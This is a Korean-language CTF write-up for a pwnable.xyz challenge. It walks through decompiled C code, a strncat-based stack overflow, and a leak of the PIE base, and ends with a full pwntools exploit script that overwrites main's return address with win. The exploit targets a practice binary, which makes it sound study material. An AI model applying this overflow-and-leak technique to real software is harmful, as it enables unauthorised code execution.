int __cdecl main(int argc, const char **argv, const char **envp)
{ int menu; // eax char buf[1024]; // [rsp+10h] [rbp-400h] setup(); memset(buf, 0, 0x400uLL); while ( 1 ) { print_menu(); menu = read_int32(); switch ( menu ) { case 1: printf("data: "); fgets(buf, 0x80, stdin); break; case 2: append(buf); break; case 3: printf("Your message: %s\n", buf); break; case 0: return 0; default: puts("Invalid"); } } } |
1번 메뉴에서 buf
에 최대 128바이트 크기의 문자열을 쓸 수 있다.
void __fastcall append(char *src)
{ char buf[16]; // [rsp+10h] [rbp-20h] int r; // [rsp+2Ch] [rbp-4h] r = rand() % 16; printf("Give me %d chars: ", r); read(0, buf, r); strncat(src, buf, r); } |
2번 메뉴로 append
함수를 실행해서 길이 제한 없이 문자열의 크기를 늘릴 수 있다.
main
함수의 스택에서 return address를 win
으로 바꾸면 되는데, 바이너리가 PIE로 컴파일되었기 때문에 주소를 알아내야 할 필요가 있다.
gdb-peda$ sd
[------------------------------------stack-------------------------------------] Function append: 0000| 0x7ffdf5fd34c0 --> 0x0 0008| 0x7ffdf5fd34c8 --> 0x7ffdf5fd3510 --> 0x0 0016| 0x7ffdf5fd34d0 --> 0x0 0024| 0x7ffdf5fd34d8 --> 0x5624d3a2fbc2 (<read_int32+64>: leave) 0032| 0x7ffdf5fd34e0 --> 0xa32 ('2\n') 0040| 0x7ffdf5fd34e8 --> 0x800000000 |
append
함수의 stack frame을 살펴보면 rbp-0x18
에 read_int32+64
값이 저장되어 있다.
main
에서 read_int32
를 호출할 때 atoi
함수에서 사용된 값이 남아있는 것이다.
rand
함수의 리턴값이 14 이상이 되면 strncat
함수에서 read_int32+64
값을 붙여서 buf
에 들어가게 할 수 있다.
main
에서 buf
를 출력하면서 해당 값을 알아낼 수 있고, 이를 통해 win
의 주소값도 알아낼 수 있다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 |
from pwn import *
import argparse def log_info(string) : sys.stderr.write(u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m {s}\n'.format(s=string)) def log_error(string) : sys.stderr.write(u'\u001b[37;1m[\u001b[31m-\u001b[37;1m]\u001b[0m {s}\n'.format(s=string)) def Init(data:bytes) : p.writeafter(b'> ', b'1') p.writelineafter(b': ', data) def Append(callback, *args) : p.writeafter(b'> ', b'2') p.readuntil(b'Give me ') size = int(p.readuntil(b' ')[:-1]) return callback(size, *args) def Print() : p.writeafter(b'> ', b'3') p.readuntil(b': ') return p.readuntil(b'Menu')[:-5] def exploit() : def AppendCallback(size, *args) : if size == 0 : return elif size < 0xE : p.writeafter(b': ', b'A') else : p.writeafter(b': ', b'A'*8) r = Print() return u64(r[10:16].ljust(8, b'\x00')) - 0xBC2 while True : Init(b'A') image_base = Append(AppendCallback) if image_base : if image_base <= 0x550000000000 : log_error('Failed to find image base address') exit(1) win = image_base + 0xB57 log_info('image base address: '+hex(image_base)) log_info('win = '+hex(win)) break def AppendCallback(size, *args) : payload, begin = args[0], args[1] end = min(begin+size, 0x40E) if size != 0 : p.writeafter(b': ', payload[begin:end]) return end Init(b'#') payload = b'A'*0x406 payload += p64(win+4) pos = 0 while True : pos = Append(AppendCallback, payload, pos) if pos == 0x40E : break p.writeafter(b'> ', b'0') p.interactive() if __name__ == '__main__' : parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30014) else : p = process('./challenge') exploit() |
Last update: 2/9/2021
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / message (0) | 2020.01.17 |
---|---|
pwnable.xyz / UAF (0) | 2020.01.17 |
pwnable.xyz / strcat (0) | 2020.01.16 |
pwnable.xyz / J-U-M-P (0) | 2020.01.15 |
pwnable.xyz / SUS (0) | 2020.01.14 |